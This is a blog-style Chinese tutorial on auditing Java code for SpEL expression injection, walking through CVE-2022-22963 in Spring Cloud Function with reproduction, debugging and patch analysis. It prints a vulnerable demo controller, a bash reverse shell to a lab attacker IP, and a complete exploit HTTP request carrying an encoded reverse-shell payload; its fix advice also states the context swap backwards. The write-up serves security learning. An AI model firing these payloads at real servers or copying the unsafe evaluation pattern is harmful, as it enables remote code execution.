Java代码审计之SpEL表达式注入漏洞分析

news2024/11/24 12:21:52

文章目录

  • 前言
  • SpEL表达式基础
    • 基础用法
    • 安全风险
    • 案例演示
  • CVE-2022-22963
    • 漏洞简述
    • 环境搭建
    • 反弹shell
  • CVE漏洞调试分析
    • 本地搭建
    • 调试分析
    • 补丁分析
  • 总结

前言

表达式注入是 Java 安全中一类常见的能够注入命令并形成 RCE 的漏洞，而常见的表达式注入方式有 EL 表达式注入、SpEL 表达式注入和 OGNL 表达式注入等。本文将通过调试分析 CVE-2022-22963 漏洞来入门学习 SpEL 表达式注入漏洞的原理。

SpEL表达式基础

SPEL（Spring Expression Language），即 Spring 表达式语言，比 JSP 的 EL 更强大的一种表达式语言。特别是方法调用和基本的字符串模板功能。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系，而 SpEl 可以方便快捷的对 ApplicationContext中 的 Bean 进行属性的装配和提取。

【Question】上面说了 SpEL 是一种表达式语言，那么什么是表达式语言呢？
表达式/模板：在一些功能中，有一些固定的格式，只有部分变量，这样的情况下就需要使用模板，模板就是将固定的部分提取出来形成一个固定的模块，然后经过处理将变量填入其中。

基础用法

如下是 SpEL 表达式求值的一个简单案例：

//创建解析器
ExpressionParser parser = new SpelExpressionParser();
//解析表达式
Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)");
//构造上下文
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
//表达式求值
System.out.println(expression.getValue(context));

上述流程分为 4 步：

  1. 创建解析器：SpEL 使用 ExpressionParser 接口表示解析器，提供 SpelExpressionParser 默认实现；
  2. 解析表达式：使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象；
  3. 构造上下文：上下文其实就是设置好某些变量的值，执行表达式时根据这些设置好的内容区获取值；
  4. 表达式求值：通过 Expression 接口的 getValue 方法根据上下文获得表达式值。

其中，第三步构造上下文并不是必需的步骤，在不配置的情况下具有默认类型的上下文（StandardEvaluationContext），故以下代码示例与上面代码等价：

//创建解析器
ExpressionParser parser = new SpelExpressionParser(); 
//传入并解析需要评估的表达式
Expression expression = parser.parseExpression("'Hello World!'"); 
//执行表达式，然后获取值
String message = (String) expression.getValue();

安全风险

SpeL 表达式语言在 EvaluationContext 上下文类型除了提供默认的 StandardEvaluationContext外，还提供了 SimpleEvaluationContext。

【风险】SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集，不包括 Java 类型引用、构造函数和 bean 引用，而 StandardEvaluationContext 是支持全部 SpEL 语法的，它包含了 SpEL 的所有功能，在允许用户控制输入的情况下可以成功造成任意命令执行，因为 SpEL 表达式是可以操作类及其方法的，可以通过类类型表达式 T(Type) 来调用任意类方法，比如以下示例代码将在 Windows 系统上执行运行计算器的指令：

String expressionstr = "T(Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression expression = parser.parseExpression(expressionstr);
system.out.prinln(expression.getValue(evaluarionContext));

与此同时，由于在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext，所以默认情况下 SpEL 表达式求值存在代码注入导致 RCE 的风险。

案例演示

下面通过本地 IDEA 创建存在简单漏洞示例的 SpringBoot 项目来直观感受下 SpEL 表达式注入漏洞。

1、由于我使用的是社区版的 IDEA（穷，用不起旗舰版），没有 Spring Initializer 功能，无法快捷创建 Spring Boot 项目，只能手动去 https://start.spring.io/ 把工程创建好之后下载下来：
在这里插入图片描述
在这里插入图片描述
2、下载完是个 demo.zip 压缩包工程文件，解压缩后使用 IDEA 社区版 正常 open project 即可，IDEA 会自动下载 pom.xml 配置的依赖包到本地 Maven 仓库：
在这里插入图片描述

修改 IDEA Maven 本地仓库和远程仓库配置的话，请参见：Intellij IDEA配置Maven(内置Maven和修改本地仓库地址和阿里云中央仓库)。

3、到 application.properties 配置文件修改服务端口为 8081（默认为 8080，与BurpSuite抓包代理冲突了)：
在这里插入图片描述
4、接着手动新增创建一个控制器 MyController 如下：
在这里插入图片描述

@RestController
public class MyController {
    // 映射到方法上，最终URL为localhost:8081/spel1，此处通常用 @GetMapping("/spel1") 表明GET请求方式的映射
    @RequestMapping("/spel1")
    @ResponseBody
    public String spel(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(input);
        return expression.getValue().toString();
    }

    @RequestMapping("/spel2")
    @ResponseBody
    public String spel2(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        EvaluationContext evaluationContext = new StandardEvaluationContext();
        Expression expression = parser.parseExpression(input);
        return expression.getValue(evaluationContext).toString();
    }

    @RequestMapping("/spel3")
    @ResponseBody
    public String spel3(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        EvaluationContext evaluationContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        Expression expression = parser.parseExpression(input);
        return expression.getValue(evaluationContext).toString();
    }
}

上述控制器逻辑很简单，我添加了三个路由：

路由配置是否存在 SpEL 注入漏洞
/spel1不指定 EvaluationContext ，默认是 StandardEvaluationContext是
/spel2指定上下文 StandardEvaluationContext是
/spel3指定上下文 SimpleEvaluationContext否

4、接下来直接运行 SpringBoot 项目，即可在本地 8081 端口成功访问到 Web 服务：
在这里插入图片描述
在这里插入图片描述
5、接下来根据我们配置的路由来验证漏洞，Payload为：/spelX?input=T(Runtime).getRuntime().exec("calc")：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
从上面简单而直观的漏洞示例代码可以看出，在不指定 EvaluationContext 或者显示采用 StandardEvaluationContext 作为上下文的时候，如果 SpEL 表达式的值可被外部输入所控制，则存在因 SpEL 表达式注入导致 RCE 的风险。

CVE-2022-22963

接下来通过复现、调试分析一个 SpEL 表达式注入 CVE 漏洞来进一步学习、理解此类漏洞，此处挑选的是 CVE-2022-22963。

漏洞简述

如 Vulhub官方文档所述：Spring Cloud Function 提供了一个通用的模型，用于在各种平台上部署基于函数的软件，包括像 Amazon AWS Lambda 这样的 FaaS（函数即服务，function as a service）平台。

2022年3月，Spring Cloud 官方修复了一个 Spring Cloud Function 中的 SPEL 表达式注入漏洞，由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression” 参数作为 SpEL 表达式进行处理，造成了 SpEL 表达式注入漏洞，攻击者可利用该漏洞远程执行任意代码。

【受影响版本】3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

参考链接：

  1. CVE-2022-22963 漏洞描述；
  2. CVE-2022-22963 官方漏洞修复方案；
  3. Spring Cloud Function SPEL表达式注入漏洞分析；

环境搭建

本文使用 Ubuntu 官方虚拟机 + Vulhub CVE 漏洞靶场环境 复现该漏洞。以前的漏洞复现文章已经写过 Vulhub 靶场的使用步骤：渗透测试-Openssl心脏出血漏洞复现。

整体复述一下，Ubuntu 上安装 Docker 环境和搭建 Vulhub 靶场的步骤：

1、安装docker：
   apt-get install -y docker.io
2、安装docker-compose：
   pip install docker-compose
3、启动docker后台服务：
   sudo service docker start
4、将当前用户加入docker组
   sudo usermod -aG docker $USER
5、配置 docker 加速器（提高容器下载速度）：
   https://blog.csdn.net/feiying0canglang/article/details/126491715
6、下载vulhub漏洞目录：
   git clone https://github.com/vulhub/vulhub.git
7、进入想要复现的漏洞对应文件夹：
   cd ~/vulhub/struts2/s2-048/(示例路径）
8、以root身份执行以下命令开始运行漏洞容器：
   docker-compose up -d

回顾 Docker 用法请参考历史博文：渗透测试-Docker容器。

【推荐】提高 Docker 镜像下载速度请参考：Docker–提高下载速度的方法。

此处顺便再简单总结下 Docker 常用命令：

目的命令
在Docker公用仓库搜索镜像docker search bwapp（容器镜像名）
从Docker公用仓库拉取镜像docker pull raesene/bwapp（远程镜像路径）
返回本地Docker容器镜像信息docker images
将镜像运行为一个真正在运行的容器docker run -d -p 8080:80 本地容器镜像名
查看正在运行的容器docker ps
查看所有容器（无论是否正在运行）docker ps -a
查看指定容器的详细信息docker inspect 容器名或id
进入容器的shell交互模式docker exec -i -t 容器id bash
停止正在运行的容器docker stop 容器id
重启本地已停止运行的容器docker start 容器id
强制删除本地容器docker rm -f 容器ID

Ubuntu 虚拟机成功搭建环境如下：
在这里插入图片描述
物理机访问 Docker 服务（http://192.168.171.129:8080/）：
在这里插入图片描述

反弹shell

先说下这个漏洞产生的原因：如果在 /functionRouter 的 POST 请求头中添加一个 spring.cloud.function.routing-expression 参数，Spring Cloud Function 会直接将参数值带入 SpEL 中查询导致 SpEL 注入。

那我们直接在 POST 请求中发送反弹 Shell 的命令即可，此处使用同一局域网中的 Kali 虚拟机作为攻击机（192.168.171.128）：

bash -i >& /dev/tcp/192.168.171.128/6666 0>&1

但是需要使用 reverse-shell 在线工具 将上述反弹 shell 的命令进行 Base64 编码（具体原因请参见：Java反弹shell小记）：
在这里插入图片描述
直接发送报文：

POST /functionRouter HTTP/1.1
Host: 192.168.171.129:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}")
Connection: close
Content-Length: 6

test

在这里插入图片描述

【题外话】此处顺便补充一个小技巧，BurpSuite 如果显示字体模糊、分辨率不佳的情况下（比如此图，伤眼睛啊……），可以在桌面快捷方式右键选择“属性”，在兼容性中选择如下配置项后重启即可解决（效果可参见下文另外的 Burp 截图）：
在这里插入图片描述
此时 Kali 攻击机可获得反弹的 Shell（其中 1832.168.171.129 正是 Ubuntu 靶机的局域网 IP）：在这里插入图片描述
至此，我们已成功复现该漏洞，通过 SpEL 注入实现了 RCE 远程命令执行。

最后，结束 Ubuntu 虚拟机靶场容器环境的运行：
在这里插入图片描述

CVE漏洞调试分析

简单的复现漏洞并不是目的，我们的目的是从历史 CVE 漏洞中分析根因，并尽可能能够实现在白盒代码审计实战中做到举一反三。

本地搭建

此处采用本地 IDEA 新建 SpringBoot 项目的方式来搭建漏洞环境，直接沿用前文 “案例演示” 章节中的简易 SpringBoot 项目。

不想折腾的话可以直接在 Github 获取来源的漏洞环境项目：Spring-Cloud-Function-Spel。

1、只需要在 pom.xml 中新增引入 spring-boot-starter-web、spring-cloud-function-web（存在漏洞的 3.2.2 版本）：

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
	<groupId>org.springframework.cloud</groupId>
	<artifactId>spring-cloud-function-web</artifactId>
	<version>3.2.2</version>
</dependency>

在这里插入图片描述
2、接着在 application.properties 配置文件中添加spring.cloud.function.definition=functionRouter（此配置也可以不配，非必需）
在这里插入图片描述
3、然后即可到 main 函数启动 Spring 项目：
在这里插入图片描述
在这里插入图片描述

然而发现以下数据包并无法触发漏洞：

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Connection: close
Content-Length: 4

test

4、最终发现需要修改 pom.xml 配置文件中如下组件版本信息，才能成功触发漏洞（坑啊……）：

   <parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.6.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>

在这里插入图片描述
在这里插入图片描述

调试分析

需要在上述命令执行处下断点，看下程序执行流程。

SpringCloud Function 之所以能自动将函数建立 http 端点，是因为在包 mvc.FunctionController 中使用 /** 监听了 GET/POST 类型的所有端点：
在这里插入图片描述
故我们在org.springframework.cloud.function.web.mvc.FunctionController#post方法上下断点进行跟踪，程序会获取 body 中的参数，并传入 processRequest 方法中：
在这里插入图片描述

1、接着 processRequest 函数将判断当前请求是否为 RoutingFunction，并将请求的内容和 Header 头编译成 Message 带入到 FunctionInvocationWrapper.apply 方法中：
在这里插入图片描述
2、跟进FunctionInvocationWrapper.apply函数，随后又进入其中的 doApply 方法：
在这里插入图片描述
3、跟进 doApply 函数，会执行到如下 else 分支，进入 RoutingFunction 类的 apply 方法：
在这里插入图片描述
4、继续 step into 跟进 RoutingFunction 类的 apply 方法，发现将进入到org.springframework.cloud.function.context.config.RoutingFunction#route方法中：
在这里插入图片描述
5、跟进 route 函数，发现随后进入的是 else if 分支，由于 exp 请求中的 http 头spring.cloud.function.routing-expression 不为空，则传入其值到functionFromExpression 方法：
在这里插入图片描述
6、step into 跟进 functionFromExpression 方法，发现其使用 SpelExpressionParser 解析了 SpEL 表达式，且调用了 expression.getValue 导致最终触发 SpEL 表达式注入：
在这里插入图片描述
在这里插入图片描述
而此处的 evalContext 又采取了默认的 StandardEvaluationContext（在不指定 EvaluationContext 的情况下默认也采用的是StandardEvaluationContext），而它包含了 SpEL 的所有功能，在允许用户控制输入的情况下 SpEL 表达式是可以操作类及其方法的，可以通过类类型表达式 T(Type) 或者直接 new 来调用任意对象的任意方法，成功造成任意命令执行。
在这里插入图片描述
在这里插入图片描述

跟踪到这已经完成整个 SpEL 表达式注入的触发流程了，后续就不用再跟下去了。至此可以发现，只要通过环境变量、配置文件或者参数等方式配置为 spring.cloud.function.definition=functionRouter， 即可触发 SpEL 注入。

补丁分析

SpringCloud 官方已经修复了此问题，在 GitHub 上给出了修复 commit：

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

和其他 SpEL 注入修复方式一样，修补代码核心是在 functionFromExpression 函数中，使用了安全的 SimpleEvaluationContext 替换不安全的 StandardEvaluationContext：
在这里插入图片描述
在这里插入图片描述
上述代码增加判断带解析的 SpEL 表达式来源是否是 header，如果是 header 就使用属于 SimpleEvaluationContext 的 headerEvalContext，不是 header 才会使用属于 StandardEvaluationContext 的 evalContext。

总结

本文重点分析了 CVE-2022-22963，总结来说就是 Spring Cloud Function 相关版本提供的 spring.cloud.function.routing-expression 有解析Spel表达式的能力，而且使用的是默认的 StandardEvaluationContext，导致存在 SpEL 表达式注入。恶意攻击者无需认证即可通过构造特定的 HTTP 请求头注入 SpEL 表达式，最终执行任意命令，获取服务器权限。

漏洞检测

来小结下对 Java 项目进行代码审计过程中，挖掘 SpEL 表达式注入漏洞可行的套招。

整体来说，由于此类代码流程特征为：

parseExpression()----StandardEvaluationContext()----getvalue()

所以可以在代码中全局搜索 parseExpression 方法，审计其输入是否外部可控，然后看使用的上下文是否是 StandardEvaluationContext（默认的也是StandardEvaluationContext），最后看是否执行了 getvalue() 等操作方法。如果满足上面的要求，则说明存在 SPEL 注入漏洞。

漏洞修复

很简单，使用 StandardEvaluationContext 替换 SimpleEvaluationContext，或者对外部输入的 SpEL 表达式进行过滤。

本文参考文章：

  1. Java安全学习：表达式注入；
  2. SPEL表达式注入——入门篇；
  3. Java代码审计之SpEL表达式注入；
  4. Spring Cloud Function Spel表达式注入；
  5. SpringCloud Function SpEL注入漏洞分析（CVE-2022-22963）；

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